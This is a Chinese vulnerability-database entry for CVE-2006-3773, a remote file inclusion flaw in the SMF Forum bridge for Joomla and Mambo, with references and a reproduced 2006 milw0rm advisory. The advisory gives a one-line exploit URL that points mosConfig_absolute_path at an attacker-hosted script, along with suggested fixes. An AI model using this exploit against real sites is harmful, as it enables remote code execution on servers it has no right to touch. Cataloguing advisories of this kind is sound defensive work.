SMF Forum 'SMF.PHP' 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110627 漏洞类型 代码注入
发布时间 2006-07-17 更新时间 2007-10-01
CVE编号 CVE-2006-3773 CNNVD-ID CNNVD-200607-391
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2021
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-391
|漏洞详情
Joomla!和Mambo4.5.3+的SMF-Forum1.3.1.3Bridge组件(com_smf)中的smf.php存在PHP远程文件包含漏洞。远程攻击者可以借助mosConfig_absolute_path参数中的URL执行任意PHP代码。
|漏洞EXP
**********************************************************
Joomla-SMF Forum Bridge For Mambo 4.5.3+ And Mambo 4.5.3+ 
        Remote File Inclusion Vulnebrality
**********************************************************
Discovered by : ASIANEAGLE 
Remote:Yes
Level:High
---------------------------------------------------------
Application: SMF Forum 1.3.1.3 Bridge Component For Joomla And Mambo
Vulnerable File: smf.php

----------------------------------------------------------------
Exploit: http://[site]/[joomla or mambo path]/components/com_smf/smf.php?mosConfig_absolute_path=http://[evil scripts]
----------------------------------------------------------------------------------------------------------------------

Fixing:

1.Declare variabel $mosConfig_absolute_path or;


2.Add into the top function:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

-----------------------------------------------------------------------------------------------------------------------
Contact:
mail: asianeagle@linuxmail.org
website:http://asianeagle.to.md/

Greetz to: Muhacir, Turkmenux and All Turkish AND Turkmen Hackers

*****ASIANEAGLE SECURITY*****

# milw0rm.com [2006-07-17]
|参考资料

来源:XF
名称:smf-forum-smf-file-include(27777)
链接:http://xforce.iss.net/xforce/xfdb/27777
来源:BID
名称:18924
链接:http://www.securityfocus.com/bid/18924
来源:VUPEN
名称:ADV-2006-2846
链接:http://www.frsirt.com/english/advisories/2006/2846
来源:SECUNIA
名称:21079
链接:http://secunia.com/advisories/21079
来源:MILW0RM
名称:2021
链接:http://milw0rm.com/exploits/2021
来源:MISC
链接:http://forum.mamboserver.com/showthread.php?t=83001